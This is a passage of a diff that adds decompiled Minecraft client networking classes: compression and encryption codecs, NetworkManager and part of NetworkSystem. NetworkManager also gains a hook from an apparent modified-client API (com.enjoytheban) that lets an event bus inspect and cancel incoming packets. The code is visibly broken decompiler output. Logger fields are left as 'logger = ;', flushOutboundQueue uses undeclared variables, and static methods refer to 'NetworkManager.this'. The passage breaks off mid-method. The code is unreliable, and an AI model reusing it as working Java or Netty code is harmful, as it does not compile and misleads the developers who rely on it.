+        field_180223_c[C16PacketClientStatus.EnumState.PERFORM_RESPAWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180223_c[C16PacketClientStatus.EnumState.REQUEST_STATS.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180223_c[C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      field_180222_b = new int[net.minecraft.network.play.client.C0BPacketEntityAction.Action.values().length];
+      
+      try
+      {
+        field_180222_b[net.minecraft.network.play.client.C0BPacketEntityAction.Action.START_SNEAKING.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_180222_b[net.minecraft.network.play.client.C0BPacketEntityAction.Action.STOP_SNEAKING.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_180222_b[net.minecraft.network.play.client.C0BPacketEntityAction.Action.START_SPRINTING.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_180222_b[net.minecraft.network.play.client.C0BPacketEntityAction.Action.STOP_SPRINTING.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_180222_b[net.minecraft.network.play.client.C0BPacketEntityAction.Action.STOP_SLEEPING.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_180222_b[net.minecraft.network.play.client.C0BPacketEntityAction.Action.RIDING_JUMP.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        field_180222_b[net.minecraft.network.play.client.C0BPacketEntityAction.Action.OPEN_INVENTORY.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      field_180224_a = new int[C07PacketPlayerDigging.Action.values().length];
+      
+      try
+      {
+        field_180224_a[C07PacketPlayerDigging.Action.DROP_ITEM.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+      
+
+
+
+      try
+      {
+        field_180224_a[C07PacketPlayerDigging.Action.DROP_ALL_ITEMS.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError12) {}
+      
+
+
+
+      try
+      {
+        field_180224_a[C07PacketPlayerDigging.Action.RELEASE_USE_ITEM.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError13) {}
+      
+
+
+
+      try
+      {
+        field_180224_a[C07PacketPlayerDigging.Action.START_DESTROY_BLOCK.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError14) {}
+      
+
+
+
+      try
+      {
+        field_180224_a[C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError15) {}
+      
+
+
+
+      try
+      {
+        field_180224_a[C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError16) {}
+    }
+    
+    SwitchAction() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/NettyCompressionDecoder.java b/src/minecraft/net/minecraft/network/NettyCompressionDecoder.java
new file mode 100644
index 0000000..879c528
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/NettyCompressionDecoder.java
@@ -0,0 +1,62 @@
+package net.minecraft.network;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.DecoderException;
+import java.util.List;
+import java.util.zip.DataFormatException;
+import java.util.zip.Inflater;
+
+public class NettyCompressionDecoder extends ByteToMessageDecoder
+{
+  private final Inflater inflater;
+  private int treshold;
+  private static final String __OBFID = "CL_00002314";
+  
+  public NettyCompressionDecoder(int treshold)
+  {
+    this.treshold = treshold;
+    inflater = new Inflater();
+  }
+  
+  protected void decode(ChannelHandlerContext p_decode_1_, ByteBuf p_decode_2_, List p_decode_3_) throws DataFormatException
+  {
+    if (p_decode_2_.readableBytes() != 0)
+    {
+      PacketBuffer var4 = new PacketBuffer(p_decode_2_);
+      int var5 = var4.readVarIntFromBuffer();
+      
+      if (var5 == 0)
+      {
+        p_decode_3_.add(var4.readBytes(var4.readableBytes()));
+      }
+      else
+      {
+        if (var5 < treshold)
+        {
+          throw new DecoderException("Badly compressed packet - size of " + var5 + " is below server threshold of " + treshold);
+        }
+        
+        if (var5 > 2097152)
+        {
+          throw new DecoderException("Badly compressed packet - size of " + var5 + " is larger than protocol maximum of " + 2097152);
+        }
+        
+        byte[] var6 = new byte[var4.readableBytes()];
+        var4.readBytes(var6);
+        inflater.setInput(var6);
+        byte[] var7 = new byte[var5];
+        inflater.inflate(var7);
+        p_decode_3_.add(Unpooled.wrappedBuffer(var7));
+        inflater.reset();
+      }
+    }
+  }
+  
+  public void setCompressionTreshold(int treshold)
+  {
+    this.treshold = treshold;
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/NettyCompressionEncoder.java b/src/minecraft/net/minecraft/network/NettyCompressionEncoder.java
new file mode 100644
index 0000000..858b728
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/NettyCompressionEncoder.java
@@ -0,0 +1,58 @@
+package net.minecraft.network;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import java.util.zip.Deflater;
+
+public class NettyCompressionEncoder extends MessageToByteEncoder
+{
+  private final byte[] buffer = new byte[' '];
+  private final Deflater deflater;
+  private int treshold;
+  private static final String __OBFID = "CL_00002313";
+  
+  public NettyCompressionEncoder(int treshold)
+  {
+    this.treshold = treshold;
+    deflater = new Deflater();
+  }
+  
+  protected void compress(ChannelHandlerContext ctx, ByteBuf input, ByteBuf output)
+  {
+    int var4 = input.readableBytes();
+    PacketBuffer var5 = new PacketBuffer(output);
+    
+    if (var4 < treshold)
+    {
+      var5.writeVarIntToBuffer(0);
+      var5.writeBytes(input);
+    }
+    else
+    {
+      byte[] var6 = new byte[var4];
+      input.readBytes(var6);
+      var5.writeVarIntToBuffer(var6.length);
+      deflater.setInput(var6, 0, var4);
+      deflater.finish();
+      
+      while (!deflater.finished())
+      {
+        int var7 = deflater.deflate(buffer);
+        var5.writeBytes(buffer, 0, var7);
+      }
+      
+      deflater.reset();
+    }
+  }
+  
+  public void setCompressionTreshold(int treshold)
+  {
+    this.treshold = treshold;
+  }
+  
+  protected void encode(ChannelHandlerContext p_encode_1_, Object p_encode_2_, ByteBuf p_encode_3_)
+  {
+    compress(p_encode_1_, (ByteBuf)p_encode_2_, p_encode_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/NettyEncryptingDecoder.java b/src/minecraft/net/minecraft/network/NettyEncryptingDecoder.java
new file mode 100644
index 0000000..7bc7a87
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/NettyEncryptingDecoder.java
@@ -0,0 +1,29 @@
+package net.minecraft.network;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import java.util.List;
+import javax.crypto.Cipher;
+import javax.crypto.ShortBufferException;
+
+public class NettyEncryptingDecoder extends MessageToMessageDecoder
+{
+  private final NettyEncryptionTranslator decryptionCodec;
+  private static final String __OBFID = "CL_00001238";
+  
+  public NettyEncryptingDecoder(Cipher cipher)
+  {
+    decryptionCodec = new NettyEncryptionTranslator(cipher);
+  }
+  
+  protected void decode(ChannelHandlerContext p_decode_1_, ByteBuf p_decode_2_, List p_decode_3_) throws ShortBufferException
+  {
+    p_decode_3_.add(decryptionCodec.decipher(p_decode_1_, p_decode_2_));
+  }
+  
+  protected void decode(ChannelHandlerContext p_decode_1_, Object p_decode_2_, List p_decode_3_) throws ShortBufferException
+  {
+    decode(p_decode_1_, (ByteBuf)p_decode_2_, p_decode_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/NettyEncryptingEncoder.java b/src/minecraft/net/minecraft/network/NettyEncryptingEncoder.java
new file mode 100644
index 0000000..6663990
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/NettyEncryptingEncoder.java
@@ -0,0 +1,28 @@
+package net.minecraft.network;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import javax.crypto.Cipher;
+import javax.crypto.ShortBufferException;
+
+public class NettyEncryptingEncoder extends MessageToByteEncoder
+{
+  private final NettyEncryptionTranslator encryptionCodec;
+  private static final String __OBFID = "CL_00001239";
+  
+  public NettyEncryptingEncoder(Cipher cipher)
+  {
+    encryptionCodec = new NettyEncryptionTranslator(cipher);
+  }
+  
+  protected void encode(ChannelHandlerContext p_encode_1_, ByteBuf p_encode_2_, ByteBuf p_encode_3_) throws ShortBufferException
+  {
+    encryptionCodec.cipher(p_encode_2_, p_encode_3_);
+  }
+  
+  protected void encode(ChannelHandlerContext p_encode_1_, Object p_encode_2_, ByteBuf p_encode_3_) throws ShortBufferException
+  {
+    encode(p_encode_1_, (ByteBuf)p_encode_2_, p_encode_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/NettyEncryptionTranslator.java b/src/minecraft/net/minecraft/network/NettyEncryptionTranslator.java
new file mode 100644
index 0000000..5fdb8a0
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/NettyEncryptionTranslator.java
@@ -0,0 +1,55 @@
+package net.minecraft.network;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import javax.crypto.Cipher;
+import javax.crypto.ShortBufferException;
+
+public class NettyEncryptionTranslator
+{
+  private final Cipher cipher;
+  private byte[] field_150505_b = new byte[0];
+  private byte[] field_150506_c = new byte[0];
+  private static final String __OBFID = "CL_00001237";
+  
+  protected NettyEncryptionTranslator(Cipher cipherIn)
+  {
+    cipher = cipherIn;
+  }
+  
+  private byte[] func_150502_a(ByteBuf p_150502_1_)
+  {
+    int var2 = p_150502_1_.readableBytes();
+    
+    if (field_150505_b.length < var2)
+    {
+      field_150505_b = new byte[var2];
+    }
+    
+    p_150502_1_.readBytes(field_150505_b, 0, var2);
+    return field_150505_b;
+  }
+  
+  protected ByteBuf decipher(ChannelHandlerContext ctx, ByteBuf buffer) throws ShortBufferException
+  {
+    int var3 = buffer.readableBytes();
+    byte[] var4 = func_150502_a(buffer);
+    ByteBuf var5 = ctx.alloc().heapBuffer(cipher.getOutputSize(var3));
+    var5.writerIndex(cipher.update(var4, 0, var3, var5.array(), var5.arrayOffset()));
+    return var5;
+  }
+  
+  protected void cipher(ByteBuf p_150504_1_, ByteBuf p_150504_2_) throws ShortBufferException
+  {
+    int var3 = p_150504_1_.readableBytes();
+    byte[] var4 = func_150502_a(p_150504_1_);
+    int var5 = cipher.getOutputSize(var3);
+    
+    if (field_150506_c.length < var5)
+    {
+      field_150506_c = new byte[var5];
+    }
+    
+    p_150504_2_.writeBytes(field_150506_c, 0, cipher.update(var4, 0, var3, field_150506_c));
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/NetworkManager.java b/src/minecraft/net/minecraft/network/NetworkManager.java
new file mode 100644
index 0000000..22c74fe
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/NetworkManager.java
@@ -0,0 +1,520 @@
+package net.minecraft.network;
+
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.world.EventPacketRecieve;
+import com.google.common.collect.Queues;
+import com.google.common.util.concurrent.ThreadFactoryBuilder;
+import io.netty.bootstrap.Bootstrap;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.EventLoop;
+import io.netty.channel.EventLoopGroup;
+import io.netty.channel.SimpleChannelInboundHandler;
+import io.netty.channel.local.LocalChannel;
+import io.netty.channel.local.LocalEventLoopGroup;
+import io.netty.channel.local.LocalServerChannel;
+import io.netty.channel.nio.NioEventLoopGroup;
+import io.netty.channel.socket.nio.NioSocketChannel;
+import io.netty.handler.timeout.ReadTimeoutHandler;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import io.netty.util.concurrent.GenericFutureListener;
+import java.net.InetAddress;
+import java.net.SocketAddress;
+import java.util.Queue;
+import javax.crypto.SecretKey;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.CryptManager;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.LazyLoadBase;
+import net.minecraft.util.MessageDeserializer;
+import net.minecraft.util.MessageDeserializer2;
+import net.minecraft.util.MessageSerializer;
+import net.minecraft.util.MessageSerializer2;
+import org.apache.commons.lang3.ArrayUtils;
+import org.apache.commons.lang3.Validate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.Marker;
+import org.apache.logging.log4j.MarkerManager;
+
+public class NetworkManager
+  extends SimpleChannelInboundHandler
+{
+  private static final Logger logger = ;
+  public static final Marker logMarkerNetwork = MarkerManager.getMarker("NETWORK");
+  public static final Marker logMarkerPackets = MarkerManager.getMarker("NETWORK_PACKETS", logMarkerNetwork);
+  public static final AttributeKey attrKeyConnectionState = AttributeKey.valueOf("protocol");
+  public static final LazyLoadBase CLIENT_NIO_EVENTLOOP = new LazyLoadBase()
+  {
+    private static final String __OBFID = "CL_00001241";
+    
+    protected NioEventLoopGroup genericLoad() {
+      return new NioEventLoopGroup(0, new ThreadFactoryBuilder().setNameFormat("Netty Client IO #%d").setDaemon(true).build());
+    }
+    
+    protected Object load() {
+      return genericLoad();
+    }
+  };
+  public static final LazyLoadBase CLIENT_LOCAL_EVENTLOOP = new LazyLoadBase()
+  {
+    private static final String __OBFID = "CL_00001242";
+    
+    protected LocalEventLoopGroup genericLoad() {
+      return new LocalEventLoopGroup(0, new ThreadFactoryBuilder().setNameFormat("Netty Local Client IO #%d").setDaemon(true).build());
+    }
+    
+    protected Object load() {
+      return genericLoad();
+    }
+  };
+  
+  private final EnumPacketDirection direction;
+  
+  private final Queue outboundPacketsQueue = Queues.newConcurrentLinkedQueue();
+  
+  private Channel channel;
+  
+  private SocketAddress socketAddress;
+  
+  private INetHandler packetListener;
+  
+  private IChatComponent terminationReason;
+  
+  private boolean isEncrypted;
+  
+  private boolean disconnected;
+  
+  private static final String __OBFID = "CL_00001240";
+  
+
+  public NetworkManager(EnumPacketDirection packetDirection)
+  {
+    direction = packetDirection;
+  }
+  
+  public void channelActive(ChannelHandlerContext p_channelActive_1_) throws Exception
+  {
+    super.channelActive(p_channelActive_1_);
+    channel = p_channelActive_1_.channel();
+    socketAddress = channel.remoteAddress();
+    
+    try
+    {
+      setConnectionState(EnumConnectionState.HANDSHAKING);
+    }
+    catch (Throwable var3)
+    {
+      logger.fatal(var3);
+    }
+  }
+  
+
+
+
+  public void setConnectionState(EnumConnectionState newState)
+  {
+    channel.attr(attrKeyConnectionState).set(newState);
+    channel.config().setAutoRead(true);
+    logger.debug("Enabled auto read");
+  }
+  
+  public void channelInactive(ChannelHandlerContext p_channelInactive_1_)
+  {
+    closeChannel(new ChatComponentTranslation("disconnect.endOfStream", new Object[0]));
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext p_exceptionCaught_1_, Throwable p_exceptionCaught_2_)
+  {
+    logger.debug("Disconnecting " + getRemoteAddress(), p_exceptionCaught_2_);
+    closeChannel(new ChatComponentTranslation("disconnect.genericReason", new Object[] { "Internal Exception: " + p_exceptionCaught_2_ }));
+  }
+  
+  protected void channelRead0(ChannelHandlerContext p_channelRead0_1_, Packet p_channelRead0_2_)
+  {
+    if (channel.isOpen()) {
+      try {
+        p_channelRead0_2_.processPacket(packetListener);
+      }
+      catch (ThreadQuickExitException localThreadQuickExitException) {}
+    }
+  }
+  
+
+
+
+
+  public void setNetHandler(INetHandler handler)
+  {
+    Validate.notNull(handler, "packetListener", new Object[0]);
+    logger.debug("Set listener of {} to {}", new Object[] { this, handler });
+    packetListener = handler;
+  }
+  
+  public void sendPacket(Packet packetIn)
+  {
+    if ((channel != null) && (channel.isOpen()))
+    {
+      flushOutboundQueue();
+      dispatchPacket(packetIn, null);
+    }
+    else
+    {
+      outboundPacketsQueue.add(new InboundHandlerTuplePacketListener(packetIn, null));
+    }
+  }
+  
+  public void sendPacket(Packet packetIn, GenericFutureListener listener, GenericFutureListener... listeners)
+  {
+    if ((channel != null) && (channel.isOpen()))
+    {
+      flushOutboundQueue();
+      dispatchPacket(packetIn, (GenericFutureListener[])ArrayUtils.add(listeners, 0, listener));
+    }
+    else
+    {
+      outboundPacketsQueue.add(new InboundHandlerTuplePacketListener(packetIn, (GenericFutureListener[])ArrayUtils.add(listeners, 0, listener)));
+    }
+  }
+  
+
+
+
+
+
+  private void dispatchPacket(final Packet inPacket, final GenericFutureListener[] futureListeners)
+  {
+    final EnumConnectionState var3 = EnumConnectionState.getFromPacket(inPacket);
+    final EnumConnectionState var4 = (EnumConnectionState)channel.attr(attrKeyConnectionState).get();
+    
+    if (var4 != var3)
+    {
+      logger.debug("Disabled auto read");
+      channel.config().setAutoRead(false);
+    }
+    
+    if (channel.eventLoop().inEventLoop())
+    {
+      if (var3 != var4)
+      {
+        setConnectionState(var3);
+      }
+      
+      ChannelFuture var5 = channel.writeAndFlush(inPacket);
+      
+      if (futureListeners != null)
+      {
+        var5.addListeners(futureListeners);
+      }
+      
+      var5.addListener(ChannelFutureListener.FIRE_EXCEPTION_ON_FAILURE);
+    }
+    else
+    {
+      channel.eventLoop().execute(new Runnable()
+      {
+        private static final String __OBFID = "CL_00001243";
+        
+        public void run() {
+          if (var3 != var4)
+          {
+            setConnectionState(var3);
+          }
+          
+          ChannelFuture var1 = channel.writeAndFlush(inPacket);
+          
+          if (futureListeners != null)
+          {
+            var1.addListeners(futureListeners);
+          }
+          
+          var1.addListener(ChannelFutureListener.FIRE_EXCEPTION_ON_FAILURE);
+        }
+      });
+    }
+  }
+  
+
+
+
+  private void flushOutboundQueue()
+  {
+    if ((channel != null) && (channel.isOpen()))
+    {
+      while (!outboundPacketsQueue.isEmpty())
+      {
+        InboundHandlerTuplePacketListener var1 = (InboundHandlerTuplePacketListener)outboundPacketsQueue.poll();
+        dispatchPacket(packet, futureListeners);
+      }
+    }
+  }
+  
+
+
+
+  public void processReceivedPackets()
+  {
+    flushOutboundQueue();
+    
+    if ((packetListener instanceof IUpdatePlayerListBox))
+    {
+      ((IUpdatePlayerListBox)packetListener).update();
+    }
+    
+    channel.flush();
+  }
+  
+
+
+
+  public SocketAddress getRemoteAddress()
+  {
+    return socketAddress;
+  }
+  
+
+
+
+  public void closeChannel(IChatComponent message)
+  {
+    if (channel.isOpen())
+    {
+      channel.close().awaitUninterruptibly();
+      terminationReason = message;
+    }
+  }
+  
+
+
+
+
+  public boolean isLocalChannel()
+  {
+    return ((channel instanceof LocalChannel)) || ((channel instanceof LocalServerChannel));
+  }
+  
+
+
+
+
+  public static NetworkManager provideLanClient(InetAddress p_150726_0_, int p_150726_1_)
+  {
+    NetworkManager var2 = new NetworkManager(EnumPacketDirection.CLIENTBOUND);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    ((Bootstrap)((Bootstrap)((Bootstrap)new Bootstrap().group((EventLoopGroup)CLIENT_NIO_EVENTLOOP.getValue())).handler(new ChannelInitializer()
+    {
+      private static final String __OBFID = "CL_00002312";
+      
+      protected void initChannel(Channel p_initChannel_1_)
+      {
+        try {
+          p_initChannel_1_.config().setOption(ChannelOption.IP_TOS, Integer.valueOf(24));
+        }
+        catch (ChannelException localChannelException) {}
+        
+
+
+
+        try
+        {
+          p_initChannel_1_.config().setOption(ChannelOption.TCP_NODELAY, Boolean.valueOf(false));
+        }
+        catch (ChannelException localChannelException1) {}
+        
+
+
+
+        p_initChannel_1_.pipeline().addLast("timeout", new ReadTimeoutHandler(20)).addLast("splitter", new MessageDeserializer2()).addLast("decoder", new MessageDeserializer(EnumPacketDirection.CLIENTBOUND)).addLast("prepender", new MessageSerializer2()).addLast("encoder", new MessageSerializer(EnumPacketDirection.SERVERBOUND)).addLast("packet_handler", NetworkManager.this);
+      }
+    })).channel(NioSocketChannel.class)).connect(p_150726_0_, p_150726_1_).syncUninterruptibly();
+    return var2;
+  }
+  
+
+
+
+
+  public static NetworkManager provideLocalClient(SocketAddress p_150722_0_)
+  {
+    NetworkManager var1 = new NetworkManager(EnumPacketDirection.CLIENTBOUND);
+    
+
+
+
+
+
+
+    ((Bootstrap)((Bootstrap)((Bootstrap)new Bootstrap().group((EventLoopGroup)CLIENT_LOCAL_EVENTLOOP.getValue())).handler(new ChannelInitializer()
+    {
+      private static final String __OBFID = "CL_00002311";
+      
+      protected void initChannel(Channel p_initChannel_1_) {
+        p_initChannel_1_.pipeline().addLast("packet_handler", NetworkManager.this);
+      }
+    })).channel(LocalChannel.class)).connect(p_150722_0_).syncUninterruptibly();
+    return var1;
+  }
+  
+
+
+
+  public void enableEncryption(SecretKey key)
+  {
+    isEncrypted = true;
+    channel.pipeline().addBefore("splitter", "decrypt", new NettyEncryptingDecoder(CryptManager.func_151229_a(2, key)));
+    channel.pipeline().addBefore("prepender", "encrypt", new NettyEncryptingEncoder(CryptManager.func_151229_a(1, key)));
+  }
+  
+  public boolean func_179292_f()
+  {
+    return isEncrypted;
+  }
+  
+
+
+
+  public boolean isChannelOpen()
+  {
+    return (channel != null) && (channel.isOpen());
+  }
+  
+  public boolean hasNoChannel()
+  {
+    return channel == null;
+  }
+  
+
+
+
+  public INetHandler getNetHandler()
+  {
+    return packetListener;
+  }
+  
+
+
+
+  public IChatComponent getExitMessage()
+  {
+    return terminationReason;
+  }
+  
+
+
+
+  public void disableAutoRead()
+  {
+    channel.config().setAutoRead(false);
+  }
+  
+  public void setCompressionTreshold(int treshold)
+  {
+    if (treshold >= 0)
+    {
+      if ((channel.pipeline().get("decompress") instanceof NettyCompressionDecoder))
+      {
+        ((NettyCompressionDecoder)channel.pipeline().get("decompress")).setCompressionTreshold(treshold);
+      }
+      else
+      {
+        channel.pipeline().addBefore("decoder", "decompress", new NettyCompressionDecoder(treshold));
+      }
+      
+      if ((channel.pipeline().get("compress") instanceof NettyCompressionEncoder))
+      {
+        ((NettyCompressionEncoder)channel.pipeline().get("decompress")).setCompressionTreshold(treshold);
+      }
+      else
+      {
+        channel.pipeline().addBefore("encoder", "compress", new NettyCompressionEncoder(treshold));
+      }
+    }
+    else
+    {
+      if ((channel.pipeline().get("decompress") instanceof NettyCompressionDecoder))
+      {
+        channel.pipeline().remove("decompress");
+      }
+      
+      if ((channel.pipeline().get("compress") instanceof NettyCompressionEncoder))
+      {
+        channel.pipeline().remove("compress");
+      }
+    }
+  }
+  
+  public void checkDisconnected()
+  {
+    if ((!hasNoChannel()) && (!isChannelOpen()) && (!disconnected))
+    {
+      disconnected = true;
+      
+      if (getExitMessage() != null)
+      {
+        getNetHandler().onDisconnect(getExitMessage());
+      }
+      else if (getNetHandler() != null)
+      {
+        getNetHandler().onDisconnect(new ChatComponentText("Disconnected"));
+      }
+    }
+  }
+  
+  protected void channelRead0(ChannelHandlerContext p_channelRead0_1_, Object p_channelRead0_2_)
+  {
+    EventPacketRecieve packetRecieve = new EventPacketRecieve((Packet)p_channelRead0_2_);
+    
+    EventBus.getInstance().call(packetRecieve);
+    
+    if (!packetRecieve.isCancelled()) {
+      channelRead0(p_channelRead0_1_, (Packet)p_channelRead0_2_);
+    }
+  }
+  
+  static class InboundHandlerTuplePacketListener
+  {
+    private final Packet packet;
+    private final GenericFutureListener[] futureListeners;
+    private static final String __OBFID = "CL_00001244";
+    
+    public InboundHandlerTuplePacketListener(Packet inPacket, GenericFutureListener... inFutureListeners)
+    {
+      packet = inPacket;
+      futureListeners = inFutureListeners;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/NetworkSystem.java b/src/minecraft/net/minecraft/network/NetworkSystem.java
new file mode 100644
index 0000000..5e146a3
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/NetworkSystem.java
@@ -0,0 +1,293 @@
+package net.minecraft.network;
+
+import com.google.common.collect.Lists;
+import com.google.common.util.concurrent.ThreadFactoryBuilder;
+import io.netty.bootstrap.ServerBootstrap;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.EventLoopGroup;
+import io.netty.channel.local.LocalAddress;
+import io.netty.channel.local.LocalEventLoopGroup;
+import io.netty.channel.local.LocalServerChannel;
+import io.netty.channel.nio.NioEventLoopGroup;
+import io.netty.channel.socket.nio.NioServerSocketChannel;
+import io.netty.handler.timeout.ReadTimeoutHandler;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.SocketAddress;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.Callable;
+import net.minecraft.client.network.NetHandlerHandshakeMemory;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.network.play.server.S40PacketDisconnect;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.network.NetHandlerHandshakeTCP;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.LazyLoadBase;
+import net.minecraft.util.MessageDeserializer;
+import net.minecraft.util.MessageDeserializer2;
+import net.minecraft.util.MessageSerializer2;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class NetworkSystem
+{
+  private static final Logger logger = ;
+  public static final LazyLoadBase eventLoops = new LazyLoadBase()
+  {
+    private static final String __OBFID = "CL_00001448";
+    
+    protected NioEventLoopGroup genericLoad() {
+      return new NioEventLoopGroup(0, new ThreadFactoryBuilder().setNameFormat("Netty Server IO #%d").setDaemon(true).build());
+    }
+    
+    protected Object load() {
+      return genericLoad();
+    }
+  };
+  public static final LazyLoadBase SERVER_LOCAL_EVENTLOOP = new LazyLoadBase()
+  {
+    private static final String __OBFID = "CL_00001449";
+    
+    protected LocalEventLoopGroup genericLoad() {
+      return new LocalEventLoopGroup(0, new ThreadFactoryBuilder().setNameFormat("Netty Local Server IO #%d").setDaemon(true).build());
+    }
+    
+    protected Object load() {
+      return genericLoad();
+    }
+  };
+  
+
+  private final MinecraftServer mcServer;
+  
+
+  public volatile boolean isAlive;
+  
+
+  private final List endpoints = Collections.synchronizedList(Lists.newArrayList());
+  
+
+  private final List networkManagers = Collections.synchronizedList(Lists.newArrayList());
+  private static final String __OBFID = "CL_00001447";
+  
+  public NetworkSystem(MinecraftServer server)
+  {
+    mcServer = server;
+    isAlive = true;
+  }
+  
+
+
+  public void addLanEndpoint(InetAddress address, int port)
+    throws IOException
+  {
+    List var3 = endpoints;
+    
+    synchronized (endpoints)
+    {
+      endpoints.add(
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        ((ServerBootstrap)((ServerBootstrap)new ServerBootstrap().channel(NioServerSocketChannel.class)).childHandler(new ChannelInitializer()
+        {
+          private static final String __OBFID = "CL_00001450";
+          
+          protected void initChannel(Channel p_initChannel_1_)
+          {
+            try {
+              p_initChannel_1_.config().setOption(ChannelOption.IP_TOS, Integer.valueOf(24));
+            }
+            catch (ChannelException localChannelException) {}
+            
+
+
+
+            try
+            {
+              p_initChannel_1_.config().setOption(ChannelOption.TCP_NODELAY, Boolean.valueOf(false));
+            }
+            catch (ChannelException localChannelException1) {}
+            
+
+
+
+            p_initChannel_1_.pipeline().addLast("timeout", new ReadTimeoutHandler(30)).addLast("legacy_query", new PingResponseHandler(NetworkSystem.this)).addLast("splitter", new MessageDeserializer2()).addLast("decoder", new MessageDeserializer(EnumPacketDirection.SERVERBOUND)).addLast("prepender", new MessageSerializer2()).addLast("encoder", new net.minecraft.util.MessageSerializer(EnumPacketDirection.CLIENTBOUND));
+            NetworkManager var2 = new NetworkManager(EnumPacketDirection.SERVERBOUND);
+            networkManagers.add(var2);
+            p_initChannel_1_.pipeline().addLast("packet_handler", var2);
+            var2.setNetHandler(new NetHandlerHandshakeTCP(mcServer, var2));
+          }
+        }).group((EventLoopGroup)eventLoops.getValue()).localAddress(address, port)).bind().syncUninterruptibly());
+    }
+  }
+  
+
+
+
+  public SocketAddress addLocalEndpoint()
+  {
+    List var2 = endpoints;
+    
+
+    synchronized (endpoints)
+    {
+      ChannelFuture var1 = 
+      
+
+
+
+
+
+
+
+
+        ((ServerBootstrap)((ServerBootstrap)new ServerBootstrap().channel(LocalServerChannel.class)).childHandler(new ChannelInitializer()
+        {
+          private static final String __OBFID = "CL_00001451";
+          
+          protected void initChannel(Channel p_initChannel_1_) {
+            NetworkManager var2 = new NetworkManager(EnumPacketDirection.SERVERBOUND);
